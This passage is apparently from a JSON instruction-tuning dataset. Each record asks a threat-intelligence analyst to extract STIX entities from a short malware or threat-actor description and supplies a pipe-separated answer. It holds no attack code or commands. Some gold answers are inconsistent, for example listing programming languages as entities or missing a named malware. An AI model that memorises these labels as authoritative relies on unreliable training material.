    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.\n",
    "output": "<entities>PyDCrypt|Moses Staff|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNerex drops a signed Microsoft DLL to disk.\n",
    "output": "<entities>Nerex|Microsoft</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPOWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.\n",
    "output": "<entities>POWERSOURCE|TEXTMATE|Cobalt Strike Beacon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEmissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. \n",
    "output": "<entities>Emissary|LStudio|Lotus Blossom|Elise</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGooligan is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. Gooligan has been described as part of the Ghost Push Android malware family.\n",
    "output": "<entities>Gooligan|Google|Android|Ghost Push</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.\n",
    "output": "<entities>SHARPSTATS|MuddyWater|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHancitor has deleted files using the VBA kill function.\n",
    "output": "<entities>Hancitor|VBA</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNavRAT writes multiple outputs to a TMP file using the >> method.\n",
    "output": "<entities>NavRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.\n",
    "output": "<entities>GreyEnergy|Visual Studio|BlackEnergy|C</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nsqlmap can be used to automate exploitation of SQL injection vulnerabilities.\n",
    "output": "<entities>sqlmap</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIt is a functional PE, so this should not work, since it starts with the \u201cMZ\u201d header of a normal binary: ![](https:// lab52 .io/blog/wp-content/uploads/2019/08/Captura-de-pantalla-de-2020-05-19-17-29-56-2.png) But in this case it uses a technique already seen before in tools like the Cobalt Strike Beacon that by modifying some bytes of the MZ header, it becomes meaningful executable code.\n",
    "output": "<entities>Cobalt Strike Beacon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKONNI is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. KONNI has been linked to several campaigns involving North Korean themes.\n",
    "output": "<entities>KONNI|Windows|North Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nT1562  Impair Defenses  Disables Windows Defender features and log audits   T1124  System Time Discovery  One of Raccoon capabilities   T1087  Account Discovery  One of Raccoon capabilities\n",
    "output": "<entities>Windows Defender|T1087|T1124|T1562|Windows|Raccoon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.\n",
    "output": "<entities>AutoCAD|ACAD/Medre.A</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXcodeGhost is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users.\n",
    "output": "<entities>XcodeGhost|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWhitefly has used search order hijacking to run the loader Vcrodat.\n",
    "output": "<entities>Whitefly|Vcrodat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.\n",
    "output": "<entities>CARROTBALL|SYSCON</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJavali can use DLL side-loading to load malicious DLLs into legitimate executables.\n",
    "output": "<entities>Javali</entities>"
  },
  {
